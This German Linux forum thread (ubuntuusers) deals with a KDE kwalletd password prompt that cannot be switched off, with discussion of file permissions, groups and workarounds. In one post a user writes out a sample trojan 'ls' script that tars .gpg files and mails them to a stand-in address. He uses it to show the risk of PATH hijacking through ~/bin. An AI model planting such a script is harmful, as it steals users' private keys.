Wie sind denn die Rechte bei kwalletd gesetzt?
Bei mir sieht es so aus und ich habe keine Probleme, den Passwortspeicher mit root-Rechten zu deaktivieren.
ls -l /usr/bin/kwalletd -rwxr-xr-x 1 root root 6224 Jun 23 03:16 /usr/bin/kwalletd
Gruß Andi
Anmeldungsdatum: Beiträge: 1409 |
Wie sind denn die Rechte bei kwalletd gesetzt? Bei mir sieht es so aus und ich habe keine Probleme, den Passwortspeicher mit root-Rechten zu deaktivieren. ls -l /usr/bin/kwalletd -rwxr-xr-x 1 root root 6224 Jun 23 03:16 /usr/bin/kwalletd Gruß Andi |
Anmeldungsdatum: Beiträge: 29240 Wohnort: Germany |
❗ Der Tipp, allem außer Home root-Rechte zu geben, war tatsächlich sehr gefährlich: Einen sichereren Weg zur nötigen Neuinstallation gibt es nicht, selbst Fremdquellen schrotten das System nicht so perfekt und schnell. Der obige Link erklärt die Grundlagen, aber auf den ersten Blick nicht ganz die unterschiedlichen Besitzer. Die Programme haben Besitzer (und Gruppe) root - wären also für niemanden ausführbar. Das geht nur, weil "anderen" das Lese- und Ausführbarkeitsrecht gegeben wurde. Schreibbare Dateien (wie in /var) gehören natürlich oft den Systembenutzern, die zugehörige Programme/ Dienste starten. Mal überlegt, wofür es ▶ Gruppen gibt? Damit kannst du z.B. deinen zweiten Nutzer der Gruppe sudo hinzufügen, damit er sudo-Rechte bekommt. Oder er ist in der Gruppe cdrom, damit er das CDROM /dev/sr0 benutzen darf, welches die Gruppe cdrom hat (und sonst nur von Benutzer root benutzt werden könnte). Alle Nutzer, die das CDROM benutzen dürfen, kommen also in die Gruppe cdrom. Grundsätzlich wird versucht, Dienste in ihren Rechten einzuschränken, was aber bei vielen Diensten leider programmiertechnisch nicht der Fall ist. Das wird bei Sicherheitslücken gefährlich, da dann der Angreifer direkt root-Rechte hätte. Würde z.B. ein Mailserver nur mit Besitzer/ Gruppe mail (als fiktives Beispiel) laufen, könnte der Angreifer nur in dessen Daten "rumhacken" (Home gibt es bei Systembenutzern gar nicht erst). Der Mailer könnte die Mails dann theoretisch problemlos mit diesen Rechten ins Internet senden und empfangen - oder zum LAN einer Firma. Brauchen lokale Nutzer darauf Zugriff, ich lese z.B. "einfache" Systemmails aus /var/mail/root lieber direkt im Thunderbird, braucht man die lokale Berechtigung für z.B. /var/mail/root dazu, also z.B. Gruppe mail und den eigenen Nutzer der Gruppe mail hinzufügen. Dann hat der eigene Thunderbird Leserechte (bzw. ggf. Schreibrechte) dazu. Spezielle Benutzer und Gruppen für spezielle Aufgaben haben also ihren tief verwurzelten Sinn. Vielleicht ist die Verzeichnisstruktur noch aufschlussreich für dich. Da kannst du dir ja mal überlegen, welchen Dateien in welchen Ordnern du welches Recht geben würdest - und danach mit der Realität vergleichen, ob du gut gelegen hast. Und auch im Home gibt es schreibgeschützte Bereiche, z.B. für SSH-Keys. SSH startet standardmäßig sonst gar nicht erst und warnt, bis das behoben wurden ist. Daher ist /Homeverzeichnis#Rechte-korrigieren auch eher ein (unvollständiger) Notbehelf. Gerne hätte ich nur einen Link gesetzt, da OT, aber vielleicht ist es gut, die vorhandenen Wikilinks zu nutzen und etwas zu kommentieren. Grüße, Benno |
Anmeldungsdatum: Beiträge: 1409 |
Danke Benno-007! 👍 Hab ich doch irgendwie im Hinterkopf geahnt, dass das gefährlich sein könnte. Nicht umsonst habe ich ja geschrieben:
Gruß Andi |
(Themenstarter)
Anmeldungsdatum: Beiträge: Zähle... |
Hallo Benno, Wo wir eh schon total OT sind: Ich hab grad gelangweilt auf einen deiner Links geklickt und bisschen rumgescrollt. Dabei fiel mir folgendes ins Auge:
Man jubelt also jemand Unbedarften ein .tar unter, in dem befindet sich neben allerhand netten Sachen ein bin/ls und in dem steht #!/bin/sh tar -cf - .gpg | uuencode | mail blubber@nsa.gov > /dev/null 2>&1 ls Nicht schlecht. Immerhin darf man dafür diese elende Brieftasche nicht mal einfach so für sich selbst ausschalten. Oder Hast du da, um mal zurück zum Topic zu kommen, einen Tip? Viele Grüße Steve |
Anmeldungsdatum: Beiträge: 29240 Wohnort: Germany |
Zu deinem eigentlichen Problem nicht, sonst hätte ich was gesagt. Du hast nun in die GUI /bin/true eingetragen? (ich nutze kein KDE) Ich halte aber den Hinweis auf die Dateirechte nicht für falsch, du solltest aber die Rechte der Konfigurationsdateien ansehen. Bzw. klang es so als ob optimq dafür irgendwie kdesu für den Start der Systemeinstellungen o.ä. verwendet hätte, um die evtl. falschen Konfigurationsdateirechte zu umgehen? Dein Code ist ja nur ein Entwurf, nehme ich an. Mail müsste entsprechend für externe Mails konfiguriert sein usw. Und wegen dem NSA-Bespiel möchtest du .gnupg doch lieber mit dem Schlüsselbund schützen oder was meinst du? Der Schlüsselbund sichert ja (bei Ubuntu an die Anmeldung gekoppelt!) andere PWs, z.B. von GPG. Das PW bräuchte man also auch noch, wenn es hart genug ist. Wenn man seinem Home nicht traut, kann man eine eigene Partition z.B. mit noexec mounten. Bin mir aber nicht sicher, ob das auch für Scripte gilt, da die "man" von Binaries spricht. Da dieser PATH-Eintrag offenbar erst nach Anmeldung erfolgt, könnte man aber auch rausfinden, welche Konfiguration/ Script dafür verantwortlich ist. Das müsste man ggf. auch gegen Updates schützen (Schreibschutz oder Paket pinnen). Es selber per Script rücksetzen ist nicht so sicher, da es einen Moment lang ungeschützt bleibt und "echo $PATH" schon entsprechend aktualisiert sein dürfte. Letzten Endes bleibt: Entweder man vertraut seinem System - einschließlich Home - oder nicht. Und verschlüsselt sein System komplett, IDS auf /boot oder /boot-Stick sowie sperrt stets seinen Bildschirm, wenn man außer Haus geht. Spielt Updates ein. Das gefährliche für Verluste sind immer die Daten im Home, nicht das gegen Manipulationen zugenagelte System + Vorsichtsmaßnahmen als Anwender/ Admin. Wenn man Anwenderscripte braucht, lässt man sie eben zu. Es gibt x Möglichkeiten, das System zu manipulieren und Daten zu kopieren, sobald man Zugriff darauf hat - sei es nun lokal oder per Exploit und dann z.B. SSH. Nur ist dieser Zugriff eben normalerweise ausreichend gegen die meisten Angriffe geschützt, wenn man nicht wie Otto Normal bei seinen Kumpels den PC ungeschützt bzw. ohne Gastaccount geöffnet rumstehen lässt. Passieren kann theoretisch trotzdem was - praktisch, naja...eher nicht. Ist doch kein Windows. 😉 Grüße, Benno |
(Themenstarter)
Anmeldungsdatum: Beiträge: 19 |
Naja, mein Problem hab ich ja "gelöst". Nur leider nicht auf die vorgesehene Weise. Egal, jedenfalls tuts. Klar war der Code nur ein Beispiel, man könnte damit noch viel miesere Sachen machen. Im Grunde meinte ich, dass man auf die Weise, also durch Erweiterung der PATH Variable wenn ein bestimmtes Verzeichnis vorhanden ist, dem Nutzer ganz einfach ein Schadprogramm unterschieben kann. Und das finde ich schon sehr bedenklich. Normalerweise kann der Nutzer nämlich nicht einfach ein Programm starten, welches nicht in $PATH liegt. Dazu muss er explizit einen Pfad angeben und dann merkt er dass was faul ist. Und PATH wird seit Urzeiten bewusst standardmässig nur auf Verzeichnisse gesetzt in welche nur der Root schreiben kann. So wie es hier ist kann man dem Nutzer jedoch einfach ein Schadprogramm unterjubeln welches den Namen eines normalen, oft benutzten Programmes, also z.B. ls trägt. Denn man hat clevererweise natürlich /home/xxx/bin auch noch ganz vorne in den Pfad gesetzt, so dass das Schadprogramm dann bevorzugt ausgeführt wird. Verschlüsselung nutzt da auch nix, weil der Kram ja nun beim Login entschlüsselt wird. Und es geht auch nicht drum dass man herausfinden kann, wo und wie das passiert und das dann selbst fixen. Ubuntu wird grad an unbedarfte Nutzer herangetragen. Viele Grüße Steve |
Anmeldungsdatum: Beiträge: 3642 Wohnort: Köln |
Die Rechte im persönlichen Verzeichnis neu zu setzen, habt ihr nicht probiert? sudo chown -R $USER:$USER $HOME |
(Themenstarter)
Anmeldungsdatum: Beiträge: 19 |
Doch, natürlich. Hat auch nix geholfen. Der fragt einfach nicht nach dem Passwort. Wofür auch immer der das brauchen soll. Aber, wie gesagt, das Problem ist mit dem Holzhammer erschlagen, und so lange kwalletd nicht aktualisiert wird, geht das auch erstmal. Ab Dezember hab ich dann auch wieder mehr Zeit, und dann fliegt der ganze Ubuntukram eh wieder von der Platte und es kommt wieder was anständiges drauf. Je tiefer man in das System eintaucht, umso mehr schüttelt es einen... Viele Grüsse, und Danke für die Hilfe Steve |
Anmeldungsdatum: Beiträge: 3642 Wohnort: Köln |
So natürlich finde ich das nicht, da ich von diesem Versuch nirgendwo las. Davon abgesehen sind Rechteprobleme in allen Fällen, von denen ich in acht Jahren hier las, selbst verursacht, von daher bin ich immer sehr vorsichtig damit, den Finger aufs System zu richten. |
(Themenstarter)
Anmeldungsdatum: Beiträge: 19 |
Ja, klar, ist ja richtig. Man weis ja nie, welche Kenntnisse der Fragende hat, und da ists schon gut dass man ganz unten anfängt. Auf jeden Fall wars eines der ersten Dinge die ich probiert hab. Den Finger aufs System richte ich auch eher aus einer ganzen Ansammlung von Gründen ☺ Viele Grüße Steve |
Anmeldungsdatum: Beiträge: 29240 Wohnort: Germany |
Du hast aber noch immer kein Feedback zu den Rechten der Konfigurationsdateien gegeben sowie zu gksu. |
(Themenstarter)
Anmeldungsdatum: Beiträge: 19 |
Sorry. Also, wenn ich kdesudo verwende um die systemsettings zu starten dann setzt der die Einstellung für Root, aber nicht für den aktuellen Nutzer. Selbiges mit sudo natürlich. Von allein kommt beim Speichern kein Passwortdialog. Zu deiner Frage mit /bin/true: Ichham kwalletd umbenannt und durch einen Link nach /bin/true ersetzt.Das gibt dann beim starten des vermeintlichen kwalletd ne 0 zurück und alle sind beruhigt, Wegen der Rechte der Konfigdateien weis ich grad nicht welche du meinst. Das komplette Homeverzeichnis gehört mir, und ich hab bestimmt auch nirgends in den Dotfiles ein w weggenommen. Allen anderen Einstellungen funktionieren ja zum einen auch, und zum anderen schrieb hier ja auch jemand, dass eine Passwortabfrage kommen sollte. Warum auch immer die nötig sein sollte. Auf jeden Fall hast du mich grad noch auf eine Idee gebracht. In der kwalletrc in .kde/share/config gbits einen Eintrag "Launch Manager[$d]". Beim googlen fand ich jetzt folgenden Link: http://pclinuxos2007.blogspot.de/2009/07/kde-3510-how-to-stop-kwallet-annoyance.html
Das könnte könnte das Problem lösen, ausprobiert hab ich es nicht, das werd ich tun, wenn das Ding nach einem Update plötzlich wieder aufpoppt. Trotzdem ists schräg, dass es grafisch nicht funktioniert. Viele Grüße, und Danke Steve |